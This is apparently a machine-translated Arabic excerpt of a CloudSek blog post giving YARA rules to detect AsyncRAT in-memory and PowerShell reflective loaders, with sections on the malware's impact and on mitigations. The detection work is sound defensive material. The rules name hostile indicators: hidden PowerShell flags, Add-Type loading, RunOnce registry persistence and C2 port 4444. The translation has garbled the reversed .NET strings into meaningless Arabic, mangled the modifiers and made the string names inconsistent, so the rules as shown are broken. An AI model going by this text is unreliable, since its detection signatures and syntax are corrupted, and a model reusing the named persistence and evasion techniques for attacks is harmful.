قاعدة غير متزامنة_ذاكرة_مقيم_محمل_معكوس

{

ميتا:

المؤلف = «CloudSek استخبارات التهديدات الإلكترونية»

description = «يكتشف رمز أداة تحميل AsyncRAT C # في الذاكرة، مع التركيز على السلاسل المعكوسة وسلوك التحميل الانعكاسي»

عائلة البرامج الضارة = «AsyncRAT»

التاريخ = «2025-06-12"

النطاق = «الذاكرة»

سلاسل:

//مساحات أسماء .NET المعكوسة التي تشير إلى التشويش

$1 = «gnidaerht.metsys gnisu» أسي

$2 = «تشغيل النص. metsys» أسي

$3 = «مفتاح التشغيل Stekcos.ten.metsys» أسي

$4s = «محرك البحث Scitsongaid.metsys» أسي

//نوع الإضافة المستخدم في وقت التشغيل

$s5 = «نوع الإضافة - تعريف النوع» ascii

//تم عكس منطق TCPClient (نموذج سلسلة في الذاكرة)

$6s = «ثنيلكبت ويب = ب نادي ثنيلكبت» ascii

$s7 = «) (f)؛ (Maertsteg.b = c؛) e، (tcennoc.b» ascii

//تم عكس تواقيع الوظائف

$8 = «ديفو سيتيز كلوب» ascii

$9 = «نادي سالك» أسي

//تم عكس استمرارية التسجيل (اختياري)

$10 = «'nosiW' = الوحدة الأولى\\... ' حافظة آسكي عريضة مقاس 8 بوصات من KUH

الشرط:

5 من (دولارات*)

}

قاعدة يارا (عامة)

القاعدة غير المتزامنة _PowerShell_المحمل العكسي

{

ميتا:

المؤلف = «CloudSek استخبارات التهديدات الإلكترونية»

الوصف = «يكتشف حمولات AsyncRAT باستخدام PowerShell باستخدام أداة تحميل C # ذات ترميز أساسي معكوس ومحمل من النوع الإضافي»

عائلة البرامج الضارة = «AsyncRAT»

التاريخ = «2025-06-12"

سلاسل:

//نمط PowerShell باستخدام علامات التشويش الشائعة

$ps_flags = «بوويرشيل -نوب -w مخفي -c» أسي

//استخدام Add-Type لتجميع كود C # في وقت التشغيل

$add_type = «إضافة نوع - تعريف النوع» كما يلي

//مفاتيح استمرار التسجيل

$reg1 = «HKCU:\\ البرنامج\\ ميكروسوفت\\ ويندوز\\ الإصدار الحالي\\ تشغيل مرة واحدة» ascii

$reg2 = «HKCU:\\ البرامج\\ ميكروسوفت\\ ويندوز NT\\ الإصدار الحالي\\ ويندوز» ascii

//تم عكس مساحة اسم C # الشائعة لـ AsyncRAT

$rev_using = «gnidaerht.metsys gnisu» أسي

$rev_dns = «)] 0 [w (gnirtsteg.tluafed.gnidocne = Emanelif» ascii

//قام TCPCClient و Connect () بعكس المكالمات في .NET

$tcp_client = «ثنيلكبت ويب = ب نادي ثنيلكبت» ascii

$connect_call = «) (f)؛ (مايرتستيج.b = c؛) e، d (tcennoc.b» ascii

//منفذ TCP الشائع المستخدم (4444) لـ C2

$port_4444 = «4444" أسي

الشرط:

كل من ($ps_flags، $add_type، $reg1، $rev_using، $tcp_client) و

أي من ($reg2، $rev_dns، $port_4444، $connect_call)

}

التأثير

  • جهاز تحكم كامل عن بعد: يوفر Asyncrat للمهاجمين وصولاً كاملاً عن بُعد إلى النظام المخترق، مما يتيح تسجيل المفاتيح وترشيح الملفات وتنفيذ الأوامر عن بُعد.
  • سرقة بيانات الاعتماد: يمكن للبرامج الضارة استخراج بيانات الاعتماد من المتصفحات أو الذاكرة أو بيانات الجلسة المحفوظة، مما يؤدي إلى مزيد من الحركة الجانبية أو اختراق الحساب.
  • الثبات عبر إساءة استخدام التسجيل: من خلال الكتابة إلى HKCU\ Software\ Microsoft\ Windows\ CurrentVersion\ RunOnce، تضمن البرامج الضارة تشغيلها عند تسجيل دخول المستخدم، وتنجو من عمليات إعادة التشغيل.
  • التهرب عبر التنفيذ داخل الذاكرة: لا تلمس الحمولات القرص أبدًا - تتم جميع عمليات التنفيذ في الذاكرة (PowerShell العاكس+C # المعكوس)، متجاوزًا اكتشاف AV التقليدي المستند إلى الملفات.
  • اتصالات القيادة والتحكم: يستخدم اتصالات TCP الغامضة (غالبًا عبر منافذ مثل 4444) لتصفية البيانات أو استقبال الأوامر - مما يتيح عمليات سرية طويلة المدى.

عوامل التخفيف

  • حظر صناديق LolBins مثل conhost.exe لبرنامج بوويرشيل: استخدم EDR أو AppLocker لمنع الاستخدام المشبوه لـ conhost.exe --headless أثناء تشغيل powershell.exe.
  • تجزئة الشبكة وتصفية الخروج: حظر اتصالات TCP الخارجية المعروفة أو المشبوهة (على سبيل المثال، المنفذ 4444 أو عناوين IP/النطاقات غير المعروفة)، وتطبيق الحظر المستند إلى المجال للبنية التحتية C2 المعروفة.
  • مراقبة التسجيل: قم بإعداد الكشف عن التغييرات التي تطرأ على المفاتيح عالية المخاطر مثل RunOnce و Windows\ win
  • مسح الذاكرة باستخدام YARA أو EDR: قم بتنفيذ المسح داخل الذاكرة باستخدام قواعد YARA (مثل تلك المتوفرة) لاكتشاف كود C # الغامض ومحمّلات Add Type ومنطق TCP.
  • وضع اللغة المقيدة في PowerShell + التسجيل: فرض وضع اللغة المقيدة في PowerShell عبر GPO aوقم بتمكين تسجيل ScriptBlock والنسخ لاكتشاف التعليمات البرمجية الغامضة أو العاكسة.

الملحق

  1. $l - أداة تحميل C # المبهمة لـ AsyncRAT

المراجع

كوشيك بالم

Related Blogs